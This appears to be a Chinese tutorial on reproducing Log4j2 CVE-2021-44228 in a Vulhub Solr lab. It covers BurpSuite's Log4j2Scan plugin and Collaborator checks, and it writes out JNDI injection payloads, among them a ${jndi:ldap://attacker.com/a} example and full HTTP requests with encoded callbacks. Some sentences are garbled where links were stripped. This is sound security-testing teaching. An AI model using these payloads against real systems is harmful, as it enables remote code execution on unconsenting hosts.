在微服务架构和后端开发中,日志组件是服务端不可或缺的基础设施。然而,Log4j2的远程代码执行漏洞(CVE-2021-44228)曾让无数API和数据库系统面临严重威胁。本文将带你从零开始,使用BurpSuite插件Log4j2Scan进行自动化检测,并辅以手动验证,全面掌握漏洞复现与安全测试的最佳实践。
1. 靶场环境搭建:Vulhub中的Log4j2漏洞靶场
要安全地学习漏洞利用,首先需要一个隔离的测试环境。Vulhub是一个广受好评的开源漏洞靶场集合,它基于Docker Compose构建,覆盖了多个CVE漏洞。在Log4j2相关组件中,Vulhub提供了两个靶场:CVE-2017-5645(TCP协议触发)和CVE-2021-44228(HTTP协议触发)。本文重点演示后者——CVE-2021-44228。

克隆Vulhub仓库后,进入log4j/CVE-2021-44228目录,执行docker-compose up -d启动靶场。访问,你将看到一个模拟的登录页面。该页面存在一个用户输入框(如用户名参数),后端在处理该参数时会调用http://{目标IP}:8983/solr/#/logger.info()记录日志,这正是Log4j2漏洞的触发点。

小贴士:如果靶场启动后访问失败,请检查Docker服务状态及端口是否被占用,或执行docker-compose restart重启容器。
2. 手动注入:理解漏洞利用的原理
在自动化工具之前,先了解手动注入的原理至关重要。Log4j2漏洞的核心是JNDI注入:当日志消息中包含${jndi:ldap://attacker.com/a}这样的占位符时,Log4j2会尝试从LDAP服务器加载远程对象,从而执行恶意代码。

Vulhub官方文档提供了详细的手动注入步骤,这里不再赘述。简而言之,你需要:
- 启动一个恶意的LDAP服务器(如JNDIExploit)
- 在目标应用的输入参数中构造JNDI payload
- 观察LDAP服务器是否收到连接请求
手动注入虽然繁琐,但能让你深入理解漏洞的触发机制,为后续使用BurpSuite插件打下坚实基础。
3. BurpSuite插件Log4j2Scan:自动化检测利器
对于安全测试人员来说,手动构造每个payload效率低下。这时,BurpSuite插件Log4j2Scan就派上了用场。它能够自动扫描HTTP请求中的参数、Header、Cookie等位置,检测是否存在Log4j2注入漏洞。
3.1 插件官方信息
Log4j2Scan由安全研究者whwlsfb开发,支持BurpSuite Professional/Community版本。其核心功能包括:
- 自动检测GET/POST参数、Cookie、Header中的JNDI注入
- 支持多种回显方式(DNS、HTTP、LDAP)
- 集成CEYE.IO等DNSLog平台
下载地址:dev-20230804T025448
| 功能 | 描述 |
|---|---|
| 自动扫描 | 对代理流量中的所有请求进行实时检测 |
| 多协议支持 | 支持LDAP、RMI、DNS等多种JNDI协议 |
| 自定义Payload | 允许用户添加自定义的JNDI字符串 |
3.2 使用步骤
首先,你需要注册一个DNSLog平台账号,例如CEYE.IO。注册后,获取个人的Identifier和API Token。这两个值用于让插件将扫描结果回传给CEYE服务器。

在BurpSuite中加载Log4j2Scan插件后,进入插件配置页面,填入Identifier和API Token,并启用自动扫描功能。

接下来,配置BurpSuite代理,浏览器访问靶场地址。在登录页面输入任意用户名(如http://靶机IP:8983test)并提交,BurpSuite会自动拦截到请求,插件立即开始分析。你会发现,URL参数被标记为存在Log4j2注入漏洞,插件发送的请求中包含JNDI payload:_。${jndi:ldap://1771219537907pnhtg.xxx.ceye.io/ziKO}

效果:插件在几秒内就检测出两个路径存在漏洞,大大提升了测试效率。如果未检测到,请检查CEYE配置是否正确,或尝试重启靶场。
3.3 手工验证:使用BurpSuite Collaborator
自动化检测的结果需要手工验证才能确认漏洞的真实性。BurpSuite自带的Collaborator模块可以生成一个临时的DNS/HTTP服务地址,用于接收漏洞触发的回显。
首先,在BurpSuite的Collaborator Client中点击“Copy to clipboard”,生成一个唯一地址(例如xxxx.burpcollaborator.net)。

然后,构造一个POST请求,目标为,在参数/solr/admin/info/system后面添加payload:_。URL编码后的完整payload如下:${jndi:ldap://do5g9240z1ah7qqcrb0klrl26tck0ko9.oastify.com/test}
GET /solr/admin/info/system?wt=json&_=%24%7bjndi%3aldap%3a%2f%2fdo5g9240z1ah7qqcrb0klrl26tck0ko9.oastify.com%2ftest%7d HTTP/1.1
Host: 192.168.10.11:8983
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Referer: http://192.168.10.11:8983/solr/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
发送请求后,回到Collaborator Client点击“Poll now”,如果收到DNS查询记录,则说明漏洞存在。


同样地,对构造类似payload:/solr/admin/cores
GET /solr/admin/cores?_=%24%7bjndi%3aldap%3a%2f%2fx1z0mmhkcln1ka3w4vd4ybymjdp4d61v.oastify.com%2ftest%7d&indexInfo=false&wt=json HTTP/1.1
Host: 192.168.10.11:8983
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Referer: http://192.168.10.11:8983/solr/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
发送后,BurpSuite再次接收到DNS请求,验证了漏洞的普适性。


⚠️ 注意事项:Vulhub靶场在多次发送DNS请求后,可能会因网络或缓存原因丢失部分请求。如果收不到回显,可以尝试:
- 修改payload中的随机字符(如
${::-p}变体) - 重启靶场:
docker compose restart - 更换DNSLog平台(如使用dnslog.cn)
4. 常见问题与最佳实践
在使用Log4j2Scan插件和手工验证过程中,可能会遇到以下问题:
- 插件不触发:检查BurpSuite版本是否支持(建议2023+),以及插件是否在Extender中正确加载。
- DNSLog收不到请求:可能是靶场容器网络隔离导致,尝试将靶场与BurpSuite置于同一网络。
- 误报率高:部分WAF或中间件可能干扰检测,建议在纯内网环境中测试。
最佳实践建议:
- 在测试前,先手动验证DNSLog平台是否可用(如
ping identifier.ceye.io) - 对于生产环境中的API和数据库服务,务必在授权范围内测试
- 结合FastjsonScan等同类插件,形成完整的JNDI注入检测体系
总结
本文从靶场搭建、手动注入到BurpSuite插件Log4j2Scan的自动化检测,再到手工验证,完整演示了Log4j2漏洞的测试流程。通过掌握这些技能,你可以在微服务后端架构中快速定位和修复此类高危漏洞,保障API和数据库服务的安全。记住:自动化工具提升效率,手工验证确保准确,两者结合才是安全测试的最佳实践。
浙公网安备 33010602011771号